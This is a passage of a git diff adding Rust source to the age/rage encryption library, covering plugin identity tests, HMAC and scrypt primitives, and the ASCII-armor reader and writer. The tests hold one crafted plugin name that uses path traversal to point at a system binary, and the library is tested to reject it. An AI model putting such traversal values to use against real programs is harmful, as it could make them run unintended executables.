+} + +impl crate::Identity for IdentityPluginV1 { + fn unwrap_stanza(&self, stanza: &Stanza) -> Option> { + self.unwrap_stanzas(iter::once(stanza)) + } + + fn unwrap_stanzas(&self, stanzas: &[Stanza]) -> Option> { + self.unwrap_stanzas(stanzas.iter()) + } +} + +#[cfg(test)] +mod tests { + use crate::{DecryptError, EncryptError, NoCallbacks}; + + use super::{ + Identity, IdentityPluginV1, Recipient, RecipientPluginV1, PLUGIN_IDENTITY_PREFIX, + PLUGIN_RECIPIENT_PREFIX, + }; + + const INVALID_PLUGIN_NAME: &str = "foobar/../../../../../../../usr/bin/echo"; + + #[test] + fn default_for_plugin() { + assert_eq!( + Identity::default_for_plugin("foobar").to_string(), + "AGE-PLUGIN-FOOBAR-1QVHULF", + ); + } + + #[test] + fn recipient_rejects_invalid_chars() { + let invalid_recipient = bech32::encode( + &format!("{}{}", PLUGIN_RECIPIENT_PREFIX, INVALID_PLUGIN_NAME), + [], + bech32::Variant::Bech32, + ) + .unwrap(); + assert!(invalid_recipient.parse::().is_err()); + } + + #[test] + fn identity_rejects_invalid_chars() { + let invalid_identity = bech32::encode( + &format!("{}{}-", PLUGIN_IDENTITY_PREFIX, INVALID_PLUGIN_NAME), + [], + bech32::Variant::Bech32, + ) + .expect("HRP is valid") + .to_uppercase(); + assert!(invalid_identity.parse::().is_err()); + } + + #[test] + #[should_panic] + fn identity_default_for_plugin_rejects_invalid_chars() { + Identity::default_for_plugin(INVALID_PLUGIN_NAME); + } + + #[test] + fn recipient_plugin_v1_rejects_invalid_chars() { + assert!(matches!( + RecipientPluginV1::new(INVALID_PLUGIN_NAME, &[], &[], NoCallbacks), + Err(EncryptError::MissingPlugin { binary_name }) if binary_name == INVALID_PLUGIN_NAME, + )); + } + + #[test] + fn identity_plugin_v1_rejects_invalid_chars() { + assert!(matches!( + IdentityPluginV1::new(INVALID_PLUGIN_NAME, &[], NoCallbacks), + Err(DecryptError::MissingPlugin { binary_name }) if binary_name == INVALID_PLUGIN_NAME, + )); + } +} diff --git a/lib/rage/age/src/primitives.rs b/lib/rage/age/src/primitives.rs new file mode 100644 index 0000000..bc95b8d --- /dev/null +++ b/lib/rage/age/src/primitives.rs @@ -0,0 +1,71 @@ +//! Primitive cryptographic operations used by `age`. + +use age_core::secrecy::{ExposeSecret, SecretBox}; +use hmac::{ + digest::{CtOutput, MacError}, + Hmac, Mac, +}; +use scrypt::{errors::InvalidParams, scrypt as scrypt_inner, Params as ScryptParams}; +use sha2::Sha256; +use std::io::{self, Write}; + +#[cfg(feature = "armor")] +#[cfg_attr(docsrs, doc(cfg(feature = "armor")))] +pub mod armor; + +pub mod stream; + +pub(crate) struct HmacKey(pub(crate) SecretBox<[u8; 32]>); + +/// `HMAC[key](message)` +/// +/// HMAC from [RFC 2104] with SHA-256. +/// +/// [RFC 2104]: https://tools.ietf.org/html/rfc2104 +pub(crate) struct HmacWriter { + inner: Hmac, +} + +impl HmacWriter { + /// Constructs a new writer to process input data. + pub(crate) fn new(key: HmacKey) -> Self { + HmacWriter { + inner: Hmac::new_from_slice(key.0.expose_secret()).expect("key is the correct length"), + } + } + + /// Checks if `mac` is correct for the processed input. + pub(crate) fn finalize(self) -> CtOutput> { + self.inner.finalize() + } + + /// Checks if `mac` is correct for the processed input. + pub(crate) fn verify(self, mac: &[u8]) -> Result<(), MacError> { + self.inner.verify_slice(mac) + } +} + +impl Write for HmacWriter { + fn write(&mut self, data: &[u8]) -> io::Result { + self.inner.update(data); + Ok(data.len()) + } + + fn flush(&mut self) -> io::Result<()> { + Ok(()) + } +} + +/// `scrypt[salt, N](password)` +/// +/// scrypt from [RFC 7914] with r = 8 and P = 1. N must be a power of 2. +/// +/// [RFC 7914]: https://tools.ietf.org/html/rfc7914 +pub(crate) fn scrypt(salt: &[u8], log_n: u8, password: &str) -> Result<[u8; 32], InvalidParams> { + let params = ScryptParams::new(log_n, 8, 1, 32)?; + + let mut output = [0; 32]; + scrypt_inner(password.as_bytes(), salt, ¶ms, &mut output) + .expect("output is the correct length"); + Ok(output) +} diff --git a/lib/rage/age/src/primitives/armor.rs b/lib/rage/age/src/primitives/armor.rs new file mode 100644 index 0000000..c1ba968 --- /dev/null +++ b/lib/rage/age/src/primitives/armor.rs @@ -0,0 +1,1526 @@ +//! I/O helper structs for the age ASCII armor format. + +use base64::{prelude::BASE64_STANDARD, Engine}; +use pin_project::pin_project; +use std::cmp; +use std::error; +use std::fmt; +use std::io::{self, BufRead, BufReader, Read, Seek, SeekFrom, Write}; +use zeroize::Zeroizing; + +use crate::util::LINE_ENDING; + +#[cfg(feature = "async")] +use futures::{ + io::{AsyncBufRead, AsyncRead, AsyncWrite, BufReader as AsyncBufReader, Error}, + ready, + task::{Context, Poll}, +}; +#[cfg(feature = "async")] +use std::mem; +#[cfg(feature = "async")] +use std::ops::DerefMut; +#[cfg(feature = "async")] +use std::pin::Pin; +#[cfg(feature = "async")] +use std::str; + +const ARMORED_COLUMNS_PER_LINE: usize = 64; +const ARMORED_BYTES_PER_LINE: usize = ARMORED_COLUMNS_PER_LINE / 4 * 3; +const ARMORED_BEGIN_MARKER: &str = "-----BEGIN AGE ENCRYPTED FILE-----"; +const ARMORED_END_MARKER: &str = "-----END AGE ENCRYPTED FILE-----"; + +const MIN_ARMOR_LEN: usize = 36; // ARMORED_BEGIN_MARKER.len() + 2 + +const BASE64_CHUNK_SIZE_COLUMNS: usize = 8 * 1024; +const BASE64_CHUNK_SIZE_BYTES: usize = BASE64_CHUNK_SIZE_COLUMNS / 4 * 3; + +/// Specifies the format that [`ArmoredWriter`] should apply to its output. +pub enum Format { + /// age binary format. + Binary, + /// ASCII armored format. + AsciiArmor, +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +struct EncodedLine { + bytes: Vec, + offset: usize, +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +struct EncodedBytes { + offset: usize, + end: usize, +} + +#[pin_project(project = LineEndingWriterProj)] +pub(crate) struct LineEndingWriter { + #[pin] + inner: W, + buf: Vec, + total_written: usize, + + /// None if `AsyncWrite::poll_closed` has been called. + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + line: Option>, + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + line_with_ending: Option, +} + +impl LineEndingWriter { + fn new(mut inner: W) -> io::Result { + // Write the begin marker + inner.write_all(ARMORED_BEGIN_MARKER.as_bytes())?; + inner.write_all(LINE_ENDING.as_bytes())?; + + Ok(LineEndingWriter { + inner, + buf: Vec::with_capacity(8 * 1024), + total_written: 0, + #[cfg(feature = "async")] + line: None, + #[cfg(feature = "async")] + line_with_ending: None, + }) + } + + fn flush_buffered(&mut self) -> io::Result<()> { + self.inner.write_all(&self.buf)?; + self.total_written += self.buf.len(); + self.buf.clear(); + Ok(()) + } + + fn finish(mut self) -> io::Result { + // Ensure all bytes have been written. + self.flush_buffered()?; + + // Write the end marker + self.inner.write_all(LINE_ENDING.as_bytes())?; + self.inner.write_all(ARMORED_END_MARKER.as_bytes())?; + self.inner.write_all(LINE_ENDING.as_bytes())?; + + Ok(self.inner) + } +} + +impl Write for LineEndingWriter { + fn write(&mut self, mut buf: &[u8]) -> io::Result { + if buf.is_empty() { + return Ok(0); + } + let written = buf.len(); + + while !buf.is_empty() { + let remaining = + ARMORED_COLUMNS_PER_LINE - (self.total_written % ARMORED_COLUMNS_PER_LINE); + + // Write the next newline if we are at the end of the line. + if remaining == ARMORED_COLUMNS_PER_LINE && self.total_written > 0 { + self.buf.extend_from_slice(LINE_ENDING.as_bytes()); + } + let to_write = cmp::min(remaining, buf.len()); + + self.buf.extend_from_slice(&buf[..to_write]); + buf = &buf[to_write..]; + self.total_written += to_write; + } + + // Write the buffer to the inner writer, and drop the written bytes. We trigger + // this when we are close to the buffer's capacity, to avoid reallocation. + if self.buf.len() + 1024 > self.buf.capacity() { + let inner_written = self.inner.write(&self.buf)?; + let mut i = 0; + self.buf.retain(|_| { + let b = i >= inner_written; + i += 1; + b + }); + } + + // We always return the number of bytes we consumed, not how many we actually + // wrote to the inner writer. Any discrepancy is handled in self.flush(). + Ok(written) + } + + fn flush(&mut self) -> io::Result<()> { + self.flush_buffered()?; + self.inner.flush() + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl LineEndingWriter { + fn new_async(inner: W) -> Self { + // Write the begin marker + let bytes = [ARMORED_BEGIN_MARKER.as_bytes(), LINE_ENDING.as_bytes()].concat(); + + LineEndingWriter { + inner, + buf: vec![], + total_written: 0, + line: Some(Vec::with_capacity(ARMORED_COLUMNS_PER_LINE)), + line_with_ending: Some(EncodedLine { bytes, offset: 0 }), + } + } + + fn poll_flush_line(self: Pin<&mut Self>, cx: &mut Context) -> Poll> { + let LineEndingWriterProj { + mut inner, + line_with_ending, + .. + } = self.project(); + + if let Some(line) = line_with_ending { + loop { + line.offset += ready!(inner.as_mut().poll_write(cx, &line.bytes[line.offset..]))?; + if line.offset == line.bytes.len() { + break; + } + } + } + *line_with_ending = None; + + Poll::Ready(Ok(())) + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl AsyncWrite for LineEndingWriter { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context, + mut buf: &[u8], + ) -> Poll> { + ready!(self.as_mut().poll_flush_line(cx))?; + + let this = self.as_mut().project(); + if let Some(line) = this.line { + let mut to_write = ARMORED_COLUMNS_PER_LINE - line.len(); + if to_write > buf.len() { + to_write = buf.len() + } + + line.extend_from_slice(&buf[..to_write]); + buf = &buf[to_write..]; + + // At this point, either buf is empty, or we have a complete line. + assert!(buf.is_empty() || line.len() == ARMORED_COLUMNS_PER_LINE); + + // Only add a line ending if we have more data to write, as the last + // line must be written in poll_close(). + if !buf.is_empty() { + *this.line_with_ending = Some(EncodedLine { + bytes: [line, LINE_ENDING.as_bytes()].concat(), + offset: 0, + }); + line.clear(); + } + + Poll::Ready(Ok(to_write)) + } else { + Poll::Ready(Err(io::Error::new( + io::ErrorKind::WriteZero, + "AsyncWrite::poll_closed has been called", + ))) + } + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context) -> Poll> { + ready!(self.as_mut().poll_flush_line(cx))?; + self.project().inner.poll_flush(cx) + } + + fn poll_close(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + // Flush any remaining line bytes. + ready!(self.as_mut().poll_flush_line(cx))?; + + let this = self.as_mut().project(); + if let Some(line) = this.line { + // Finish the armored format with a partial line (if necessary) and the end + // marker. + *this.line_with_ending = Some(EncodedLine { + bytes: [ + line, + LINE_ENDING.as_bytes(), + ARMORED_END_MARKER.as_bytes(), + LINE_ENDING.as_bytes(), + ] + .concat(), + offset: 0, + }); + } + *this.line = None; + + // Flush the final line (if we didn't in the first call). + ready!(self.as_mut().poll_flush_line(cx))?; + self.project().inner.poll_close(cx) + } +} + +#[pin_project(project = ArmorIsProj)] +enum ArmorIs { + Enabled { + #[pin] + inner: LineEndingWriter, + byte_buf: Option>, + encoded_buf: Box<[u8; BASE64_CHUNK_SIZE_COLUMNS]>, + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + encoded_line: Option, + }, + + Disabled { + #[pin] + inner: W, + }, +} + +/// Writer that optionally applies the age ASCII armor format. +/// +/// # Examples +/// +/// ``` +/// # use std::io::Read; +/// use std::io::Write; +/// use std::iter; +/// +/// # fn run_main() -> Result<(), ()> { +/// # let identity = age::x25519::Identity::generate(); +/// # let load_recipient = || Ok(identity.to_public()); +/// let recipient = load_recipient()?; +/// let plaintext = b"Hello world!"; +/// +/// # fn encrypt(recipient: age::x25519::Recipient, plaintext: &[u8]) -> Result, age::EncryptError> { +/// let encrypted = { +/// let encryptor = age::Encryptor::with_recipients(iter::once(&recipient as _)) +/// .expect("we provided a recipient"); +/// +/// let mut encrypted = vec![]; +/// let mut writer = encryptor.wrap_output( +/// age::armor::ArmoredWriter::wrap_output( +/// &mut encrypted, +/// age::armor::Format::AsciiArmor, +/// )? +/// )?; +/// writer.write_all(plaintext)?; +/// writer.finish() +/// .and_then(|armor| armor.finish())?; +/// +/// encrypted +/// }; +/// # Ok(encrypted) +/// # } +/// # fn decrypt(identity: age::x25519::Identity, encrypted: Vec) -> Result, age::DecryptError> { +/// # let decrypted = { +/// # let decryptor = age::Decryptor::new(age::armor::ArmoredReader::new(&encrypted[..]))?; +/// # let mut decrypted = vec![]; +/// # let mut reader = decryptor.decrypt(iter::once(&identity as &dyn age::Identity))?; +/// # reader.read_to_end(&mut decrypted); +/// # decrypted +/// # }; +/// # Ok(decrypted) +/// # } +/// # let decrypted = decrypt( +/// # identity, +/// # encrypt(recipient, &plaintext[..]).map_err(|_| ())? +/// # ).map_err(|_| ())?; +/// # assert_eq!(decrypted, plaintext); +/// # Ok(()) +/// # } +/// # run_main().unwrap(); +/// ``` +#[pin_project] +pub struct ArmoredWriter(#[pin] ArmorIs); + +impl ArmoredWriter { + /// Wraps the given output in an `ArmoredWriter` that will apply the given [`Format`]. + pub fn wrap_output(output: W, format: Format) -> io::Result { + match format { + Format::AsciiArmor => LineEndingWriter::new(output).map(|w| { + ArmoredWriter(ArmorIs::Enabled { + inner: w, + byte_buf: Some(Vec::with_capacity(BASE64_CHUNK_SIZE_BYTES)), + encoded_buf: Box::new([0; BASE64_CHUNK_SIZE_COLUMNS]), + #[cfg(feature = "async")] + encoded_line: None, + }) + }), + Format::Binary => Ok(ArmoredWriter(ArmorIs::Disabled { inner: output })), + } + } + + /// Writes the end marker of the age file, if armoring was enabled. + /// + /// You **MUST** call `finish` when you are done writing, in order to finish the + /// armoring process. Failing to call `finish` will result in a truncated file that + /// that will fail to decrypt. + pub fn finish(self) -> io::Result { + match self.0 { + ArmorIs::Enabled { + mut inner, + byte_buf, + mut encoded_buf, + .. + } => { + let byte_buf = byte_buf.unwrap(); + let encoded = BASE64_STANDARD + .encode_slice(&byte_buf, &mut encoded_buf[..]) + .expect("byte_buf.len() <= BASE64_CHUNK_SIZE_BYTES"); + inner.write_all(&encoded_buf[..encoded])?; + inner.finish() + } + ArmorIs::Disabled { inner } => Ok(inner), + } + } +} + +impl Write for ArmoredWriter { + fn write(&mut self, mut buf: &[u8]) -> io::Result { + match &mut self.0 { + ArmorIs::Enabled { + inner, + byte_buf, + encoded_buf, + .. + } => { + // Guaranteed to be Some (as long as async and sync writing isn't mixed), + // because ArmoredWriter::finish consumes self. + let byte_buf = byte_buf.as_mut().unwrap(); + + let mut written = 0; + loop { + let mut to_write = BASE64_CHUNK_SIZE_BYTES - byte_buf.len(); + if to_write > buf.len() { + to_write = buf.len() + } + + byte_buf.extend_from_slice(&buf[..to_write]); + buf = &buf[to_write..]; + written += to_write; + + // At this point, either buf is empty, or we have a full line. + assert!(buf.is_empty() || byte_buf.len() == BASE64_CHUNK_SIZE_BYTES); + + // Only encode the line if we have more data to write, as the last + // (possibly-partial) line must be written in finish(). + if buf.is_empty() { + break; + } else { + assert_eq!( + BASE64_STANDARD + .encode_slice(&byte_buf, &mut encoded_buf[..]) + .expect("byte_buf.len() <= BASE64_CHUNK_SIZE_BYTES"), + BASE64_CHUNK_SIZE_COLUMNS + ); + inner.write_all(&encoded_buf[..])?; + byte_buf.clear(); + }; + } + + Ok(written) + } + ArmorIs::Disabled { inner } => inner.write(buf), + } + } + + fn flush(&mut self) -> io::Result<()> { + match &mut self.0 { + ArmorIs::Enabled { inner, .. } => inner.flush(), + ArmorIs::Disabled { inner } => inner.flush(), + } + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl ArmoredWriter { + /// Wraps the given output in an `ArmoredWriter` that will apply the given [`Format`]. + pub fn wrap_async_output(output: W, format: Format) -> Self { + match format { + Format::AsciiArmor => ArmoredWriter(ArmorIs::Enabled { + inner: LineEndingWriter::new_async(output), + byte_buf: Some(Vec::with_capacity(BASE64_CHUNK_SIZE_BYTES)), + encoded_buf: Box::new([0; BASE64_CHUNK_SIZE_COLUMNS]), + encoded_line: None, + }), + Format::Binary => ArmoredWriter(ArmorIs::Disabled { inner: output }), + } + } + + fn poll_flush_line(self: Pin<&mut Self>, cx: &mut Context) -> Poll> { + if let ArmorIsProj::Enabled { + mut inner, + encoded_buf, + encoded_line, + .. + } = self.project().0.project() + { + if let Some(line) = encoded_line { + loop { + line.offset += ready!(inner + .as_mut() + .poll_write(cx, &encoded_buf[line.offset..line.end]))?; + if line.offset == line.end { + break; + } + } + } + *encoded_line = None; + } + + Poll::Ready(Ok(())) + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl AsyncWrite for ArmoredWriter { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context, + mut buf: &[u8], + ) -> Poll> { + ready!(self.as_mut().poll_flush_line(cx))?; + + match self.project().0.project() { + ArmorIsProj::Enabled { + byte_buf, + encoded_buf, + encoded_line, + .. + } => { + if let Some(byte_buf) = byte_buf { + let mut to_write = BASE64_CHUNK_SIZE_BYTES - byte_buf.len(); + if to_write > buf.len() { + to_write = buf.len() + } + + byte_buf.extend_from_slice(&buf[..to_write]); + buf = &buf[to_write..]; + + // At this point, either buf is empty, or we have a full line. + assert!(buf.is_empty() || byte_buf.len() == BASE64_CHUNK_SIZE_BYTES); + + // Only encode the line if we have more data to write, as the last + // line must be written in poll_close(). + if !buf.is_empty() { + assert_eq!( + BASE64_STANDARD + .encode_slice(&byte_buf, &mut encoded_buf[..],) + .expect("byte_buf.len() <= BASE64_CHUNK_SIZE_BYTES"), + ARMORED_COLUMNS_PER_LINE + ); + *encoded_line = Some(EncodedBytes { + offset: 0, + end: ARMORED_COLUMNS_PER_LINE, + }); + byte_buf.clear(); + } + + Poll::Ready(Ok(to_write)) + } else { + Poll::Ready(Err(io::Error::new( + io::ErrorKind::WriteZero, + "AsyncWrite::poll_closed has been called", + ))) + } + } + ArmorIsProj::Disabled { inner } => inner.poll_write(cx, buf), + } + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context) -> Poll> { + ready!(self.as_mut().poll_flush_line(cx))?; + match self.project().0.project() { + ArmorIsProj::Enabled { inner, .. } => inner.poll_flush(cx), + ArmorIsProj::Disabled { inner } => inner.poll_flush(cx), + } + } + + fn poll_close(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + // Flush any remaining encoded line bytes. + ready!(self.as_mut().poll_flush_line(cx))?; + + if let ArmorIsProj::Enabled { + byte_buf, + encoded_buf, + encoded_line, + .. + } = self.as_mut().project().0.project() + { + if let Some(byte_buf) = byte_buf { + // Finish the armored format with a partial line (if necessary) and the end + // marker. + let encoded = BASE64_STANDARD + .encode_slice(&byte_buf, &mut encoded_buf[..]) + .expect("byte_buf.len() <= BASE64_CHUNK_SIZE_BYTES"); + *encoded_line = Some(EncodedBytes { + offset: 0, + end: encoded, + }); + } + *byte_buf = None; + } + + // Flush the final chunk (if we didn't in the first call). + ready!(self.as_mut().poll_flush_line(cx))?; + + match self.project().0.project() { + ArmorIsProj::Enabled { inner, .. } => inner.poll_close(cx), + ArmorIsProj::Disabled { inner } => inner.poll_close(cx), + } + } +} + +/// The various errors that can be returned while parsing the armored format. +#[derive(Debug)] +pub enum ArmoredReadError { + /// An error occurred while parsing Base64. + Base64(base64::DecodeSliceError), + /// The begin marker for the armor is invalid. + InvalidBeginMarker, + /// Invalid UTF-8 characters were encountered between the begin and end marker. + InvalidUtf8, + /// A line of the armor contains a `\r` character. + LineContainsCr, + /// The final Base64 line is non-canonical. + MissingPadding, + /// The armor is not wrapped at 64 characters. + NotWrappedAt64Chars, + /// There is a short line in the middle of the armor (only the final line may be short). + ShortLineInMiddle, + /// There are trailing non-whitespace characters after the end marker. + TrailingGarbage, +} + +impl fmt::Display for ArmoredReadError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + ArmoredReadError::Base64(e) => e.fmt(f), + ArmoredReadError::InvalidBeginMarker => write!(f, "invalid armor begin marker"), + ArmoredReadError::InvalidUtf8 => write!(f, "stream did not contain valid UTF-8"), + ArmoredReadError::LineContainsCr => write!(f, "line contains CR"), + ArmoredReadError::MissingPadding => { + write!(f, "invalid armor (last line is missing padding)") + } + ArmoredReadError::NotWrappedAt64Chars => { + write!(f, "invalid armor (not wrapped at 64 characters)") + } + ArmoredReadError::ShortLineInMiddle => { + write!(f, "invalid armor (short line in middle of encoding)") + } + ArmoredReadError::TrailingGarbage => { + write!( + f, + "invalid armor (non-whitespace characters after end marker)" + ) + } + } + } +} + +impl error::Error for ArmoredReadError {} + +/// The position in the underlying reader corresponding to the start of the data inside +/// the armor. +/// +/// To impl Seek for ArmoredReader, we need to know the point in the reader corresponding +/// to the first byte of the armored data. But we can't query the reader for its current +/// position without having a specific constructor for `R: Read + Seek`, which makes the +/// higher-level API more complex. Instead, we count the number of bytes that have been +/// read from the reader: +/// - If armor is enabled, we count starting from after the first line (which is the armor +/// begin marker). +/// - If armor is disabled, we count from the first byte we read. +/// +/// Then when we first need to seek, inside `impl Seek` we can query the reader's current +/// position and figure out where the start was. +#[derive(Debug)] +enum StartPos { + /// An offset that we can subtract from the current position. + Implicit(u64), + /// The precise start position. + Explicit(u64), +} + +/// Reader that will parse the age ASCII armor format if detected. +/// +/// # Examples +/// +/// ``` +/// use std::io::Read; +/// # use std::io::Write; +/// use std::iter; +/// +/// # fn run_main() -> Result<(), ()> { +/// # fn encrypt(recipient: age::x25519::Recipient, plaintext: &[u8]) -> Result, age::EncryptError> { +/// # let encrypted = { +/// # let encryptor = age::Encryptor::with_recipients(iter::once(&recipient as _)) +/// # .expect("we provided a recipient"); +/// # let mut encrypted = vec![]; +/// # let mut writer = encryptor.wrap_output( +/// # age::armor::ArmoredWriter::wrap_output( +/// # &mut encrypted, +/// # age::armor::Format::AsciiArmor, +/// # )? +/// # )?; +/// # writer.write_all(plaintext)?; +/// # writer.finish() +/// # .and_then(|armor| armor.finish())?; +/// # encrypted +/// # }; +/// # Ok(encrypted) +/// # } +/// # let load_identity = || Ok(age::x25519::Identity::generate()); +/// let identity = load_identity()?; +/// # let plaintext = b"Hello world!"; +/// # let load_encrypted_file = || encrypt(identity.to_public(), &plaintext[..]).map_err(|_| ()); +/// let encrypted = load_encrypted_file()?; +/// +/// # fn decrypt(identity: age::x25519::Identity, encrypted: Vec) -> Result, age::DecryptError> { +/// let decrypted = { +/// let decryptor = age::Decryptor::new(age::armor::ArmoredReader::new(&encrypted[..]))?; +/// +/// let mut decrypted = vec![]; +/// let mut reader = decryptor.decrypt(iter::once(&identity as &dyn age::Identity))?; +/// reader.read_to_end(&mut decrypted); +/// +/// decrypted +/// }; +/// # Ok(decrypted) +/// # } +/// # let decrypted = decrypt(identity, encrypted).map_err(|_| ())?; +/// # assert_eq!(decrypted, plaintext); +/// # Ok(()) +/// # } +/// # run_main().unwrap(); +/// ``` +#[pin_project] +pub struct ArmoredReader { + #[pin] + inner: R, + start: StartPos, + is_armored: Option, + line_buf: Zeroizing, + byte_buf: Zeroizing<[u8; ARMORED_BYTES_PER_LINE]>, + byte_start: usize, + byte_end: usize, + found_short_line: bool, + found_end: bool, + data_len: Option, + data_read: usize, +} + +impl ArmoredReader> { + /// Wraps a reader that may contain an armored age file. + pub fn new(reader: R) -> Self { + ArmoredReader::with_buffered(BufReader::new(reader)) + } +} + +#[cfg(feature = "cli-common")] +impl ArmoredReader { + /// Wraps a buffered reader that may contain an armored age file. + pub(crate) fn new_buffered(reader: R) -> Self { + ArmoredReader::with_buffered(reader) + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl ArmoredReader> { + /// Wraps a reader that may contain an armored age file. + pub fn from_async_reader(inner: R) -> Self { + ArmoredReader::with_buffered(AsyncBufReader::new(inner)) + } +} + +impl ArmoredReader { + fn with_buffered(inner: R) -> Self { + ArmoredReader { + inner, + start: StartPos::Implicit(0), + is_armored: None, + line_buf: Zeroizing::new(String::with_capacity(ARMORED_COLUMNS_PER_LINE + 2)), + byte_buf: Zeroizing::new([0; ARMORED_BYTES_PER_LINE]), + byte_start: ARMORED_BYTES_PER_LINE, + byte_end: ARMORED_BYTES_PER_LINE, + found_short_line: false, + found_end: false, + data_len: None, + data_read: 0, + } + } + + fn count_reader_bytes(&mut self, read: usize) -> usize { + // We only need to count if we haven't yet worked out the start position. + if let StartPos::Implicit(offset) = &mut self.start { + *offset += read as u64; + } + + // Return the counted bytes for convenience. + read + } + + /// Detects whether this is an armored age file. + /// + /// We only use ArmoredReader to read age files, so we can rely on the following + /// properties: + /// + /// - The first line of an armored age file is 35-36 bytes, depending on whether CRLF + /// or LF is used. + /// - A non-armored age file with a v1 header will be a minimum of 70 bytes (22-byte + /// version line, 48-byte MAC line). + /// - A non-armored age file with an unknown header version will be a minimum of 21 + /// bytes (for a one-character version). However, assuming that age continues to + /// target at least the 128-bit security level, any future header version must + /// contain at least 16 more bytes, for a total minimum of 37 bytes. + /// + /// We therefore read exactly 36 bytes from the underlying reader, and parse it within + /// the internal buffer to determine whether this is an armored age file. + fn detect_armor(&mut self) -> io::Result<()> { + if self.is_armored.is_some() { + panic!("ArmoredReader::detect_armor() called twice"); + } + + const MARKER_LEN: usize = MIN_ARMOR_LEN - 2; + + // The first line of armor is the armor marker followed by either + // CRLF or LF. + let is_armored = &self.byte_buf[..MARKER_LEN] == ARMORED_BEGIN_MARKER.as_bytes(); + if is_armored { + match ( + &self.byte_buf[MARKER_LEN..=MARKER_LEN], + &self.byte_buf[MARKER_LEN..MIN_ARMOR_LEN], + ) { + (b"\n", _) => { + // We read one extra byte. If this is a valid armored file, that byte + // is valid UTF-8, so we can move it into the line buffer. + self.line_buf.push_str( + std::str::from_utf8(&self.byte_buf[MARKER_LEN + 1..MIN_ARMOR_LEN]) + .map_err(|_| { + io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::InvalidUtf8, + ) + })?, + ); + self.count_reader_bytes(1); + } + (_, b"\r\n") => (), + (_, _) => { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::InvalidBeginMarker, + )) + } + } + } else { + // Not armored, so the first line is part of the data. + self.byte_start = 0; + self.byte_end = MIN_ARMOR_LEN; + self.count_reader_bytes(MIN_ARMOR_LEN); + } + + self.is_armored = Some(is_armored); + Ok(()) + } + + /// Validates `self.line_buf` and parses it into `self.byte_buf`. + /// + /// Returns `true` if this was the last line. + fn parse_armor_line(&mut self) -> io::Result { + // Handle line endings + let line = if self.line_buf.ends_with("\r\n") { + // trim_end_matches will trim the pattern repeatedly, but because + // BufRead::read_line splits on line endings, this will never occur. + self.line_buf.trim_end_matches("\r\n") + } else if self.line_buf.ends_with('\n') { + self.line_buf.trim_end_matches('\n') + } else { + // If the line does not end in a `\n`, then it must be the final line in the + // file, because we parse the file into lines by splitting on `\n`. This will + // either be an invalid line (and be caught as a different error), or the end + // marker (which we allow to omit a trailing `\n`). + &self.line_buf + }; + if line.contains('\r') { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::LineContainsCr, + )); + } + + // Enforce canonical armor format + if line == ARMORED_END_MARKER { + // This line is the EOF marker; we are done! + self.found_end = true; + return Ok(true); + } else { + match (self.found_short_line, line.len()) { + (false, ARMORED_COLUMNS_PER_LINE) => (), + (false, n) if n % 4 != 0 => { + // The `base64` crate does not (yet) support canonical decoding. + // Handle this ourselves until the upstream issue is closed: + // https://github.com/marshallpierce/rust-base64/issues/182 + return Err(io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::MissingPadding, + )); + } + (false, n) if n < ARMORED_COLUMNS_PER_LINE => { + // The format may contain a single short line at the end. + self.found_short_line = true; + } + (true, ARMORED_COLUMNS_PER_LINE) => { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::ShortLineInMiddle, + )); + } + _ => { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::NotWrappedAt64Chars, + )); + } + } + } + + // Decode the line + self.byte_start = 0; + self.byte_end = BASE64_STANDARD + .decode_slice(line.as_bytes(), self.byte_buf.as_mut()) + .map_err(|e| io::Error::new(io::ErrorKind::InvalidData, ArmoredReadError::Base64(e)))?; + + // Finished with this buffered line! + self.line_buf.clear(); + + // We haven't found the end yet + Ok(false) + } +} + +impl BufRead for ArmoredReader { + fn fill_buf(&mut self) -> io::Result<&[u8]> { + loop { + match self.is_armored { + None => { + self.inner.read_exact(&mut self.byte_buf[..MIN_ARMOR_LEN])?; + self.detect_armor()? + } + Some(false) => { + break if self.byte_start >= self.byte_end { + self.inner.read(&mut self.byte_buf[..]).map(|read| { + self.byte_start = 0; + self.byte_end = read; + self.count_reader_bytes(read); + &self.byte_buf[..read] + }) + } else { + Ok(&self.byte_buf[self.byte_start..self.byte_end]) + } + } + Some(true) => { + break if self.found_end { + Ok(&[]) + } else if self.byte_start >= self.byte_end { + if self.read_next_armor_line()? { + Ok(&[]) + } else { + Ok(&self.byte_buf[self.byte_start..self.byte_end]) + } + } else { + Ok(&self.byte_buf[self.byte_start..self.byte_end]) + } + } + } + } + } + + fn consume(&mut self, amt: usize) { + self.byte_start += amt; + self.data_read += amt; + assert!(self.byte_start <= self.byte_end); + } +} + +impl ArmoredReader { + /// Fills `self.byte_buf` with the next line of armored data. + /// + /// Returns `true` if this was the last line. + fn read_next_armor_line(&mut self) -> io::Result { + assert_eq!(self.is_armored, Some(true)); + + // Read the next line + self.inner + .read_line(&mut self.line_buf) + .map(|read| self.count_reader_bytes(read))?; + + 